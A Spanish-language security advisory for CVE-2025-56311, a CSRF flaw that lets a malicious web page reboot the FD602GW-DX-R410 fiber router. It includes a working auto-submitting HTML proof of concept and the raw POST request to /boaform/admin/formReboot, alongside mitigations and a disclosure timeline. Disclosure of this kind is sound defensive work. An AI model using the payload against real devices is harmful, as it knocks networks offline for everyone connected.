CVE-2025-56311: Aviso de seguridad – Vulnerabilidad CSRF en la función de reinicio del router FD602GW-DX-R410

Prueba de concepto y aviso de seguridad para una vulnerabilidad de falsificación de solicitudes entre sitios (CSRF) en la interfaz de administración del router de fibra FD602GW-DX-R410 (Firmware V2.2.14). El aviso describe el impacto, el vector de ataque y las recomendaciones de mitigación.

fd602gw-dx-r410-csrf-advisory

La vulnerabilidad CSRF en el router FD602GW-DX-R410 permite a atacantes remotos reiniciar el dispositivo mediante una solicitud POST manipulada a /boaform/admin/formReboot cuando un administrador está autenticado.

---

Resumen

Se descubrió una vulnerabilidad de falsificación de solicitudes entre sitios (CSRF) en la consola de administración basada en web del router de fibra FD602GW-DX-R410 (Firmware V2.2.14). El endpoint /boaform/admin/formReboot permite que las solicitudes POST activen un reinicio completo del dispositivo sin tokens CSRF ni validación de origen. Si un administrador autenticado visita una página maliciosa, el router puede reiniciarse remotamente sin su consentimiento.

• ID de CVE: CVE-2025-56311
• Fecha de publicación del aviso: julio de 2025
• Descubierto por: Hasanka Amarasinghe (Investigador de seguridad independiente)
• Fabricante: Shenzhen C-Data Technology Co., Ltd.
• Producto afectado: Router de fibra FD602GW-DX-R410
• Versión de firmware: V2.2.14 (Build.1918.241111)
• Versión de hardware: R410.1B
• Versión del bootloader: V3.7-2312181457
• Servidor web: Boa/0.93.15
• Vector de acceso: Remoto (el administrador autenticado debe haber iniciado sesión)
• Severidad: Media
• Puntuación base CVSS v3.1: 5.4 (Media)

---

Producto afectado

• Dispositivo: Router de fibra FD602GW-DX-R410
• Firmware: V2.2.14 (Build.1918.241111)
• Componente: Manejador de reinicio - /boaform/admin/formReboot
• Servidor web: Boa/0.93.15

---

Detalles de la vulnerabilidad

• Tipo: Falsificación de solicitudes entre sitios (CSRF)
• Vector de ataque: Remoto (el administrador debe tener una sesión iniciada)
• Autenticación: No se requiere ninguna para el atacante (se requiere la sesión del administrador en el navegador de la víctima)
• Impacto: Reinicio no autorizado del dispositivo
• Persistencia de estado: Sesión sin estado, probablemente rastreada mediante IP o tokens de sesión internos

---

Prueba de concepto (PoC)

Payload CSRF (HTML)

<html>
  <!-- CSRF PoC - generated by Burp Suite Pro -->
  <body>
    <form action="http://192.168.1.1/boaform/admin/formReboot" method="POST">
      <input type="hidden" name="postSecurityFlag" value="+65535" />
      <input type="submit" value="Submit" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Solicitud HTTP

POST /boaform/admin/formReboot HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

postSecurityFlag=+65535

Respuesta

HTTP 200 OK; el router se reinicia inmediatamente.

---

Recomendaciones

• Implemente tokens CSRF y validación estricta de Origin/Referer en todos los endpoints de administración.
• Invalide las sesiones obsoletas o huérfanas y vincule las sesiones a cookies seguras.
• Considere usar CAPTCHA o mensajes de confirmación antes de ejecutar acciones destructivas como el reinicio.
• Restrinja el acceso a la interfaz de administración únicamente a IPs de confianza o redes internas.

---

Vector de ataque

• Requiere que el administrador del router esté autenticado (con sesión iniciada).
• Un atacante engaña a la víctima para que visite una página web maliciosa que activa silenciosamente una solicitud POST al endpoint de reinicio.
• El router acepta la solicitud falsificada y se reinicia inmediatamente, causando una denegación de servicio.

---

Impacto

• Denegación de servicio debido al reinicio forzado.
• Pérdida de disponibilidad de red para todos los usuarios conectados.
• Posibilidad de combinarse con otros problemas (p. ej., secuestro de sesión o XSS) para aumentar el impacto.

---

Cronología de divulgación

Fecha	Acción
Jun 2025	Vulnerabilidad descubierta
Jun 2025	Intento de divulgación responsable (sin respuesta)
Jul 2025	ID de CVE solicitado a MITRE
Jul 2025	Aviso preparado y pendiente de publicación
Sep 2025	CVE asignado, aviso hecho público

---

Referencias

• Fabricante: Shenzhen C-Data Technology Co., Ltd.
• Dispositivo: FD602GW-DX-R410
• Firmware: V2.2.14
• Aviso de GitHub: https://github.com/wrathfulDiety/CVE-2025-56311

---

Descargo de responsabilidad

Este aviso se proporciona con fines educativos y de concienciación sobre seguridad. El autor no asume ninguna responsabilidad por el mal uso. Todas las pruebas se realizaron en un entorno controlado.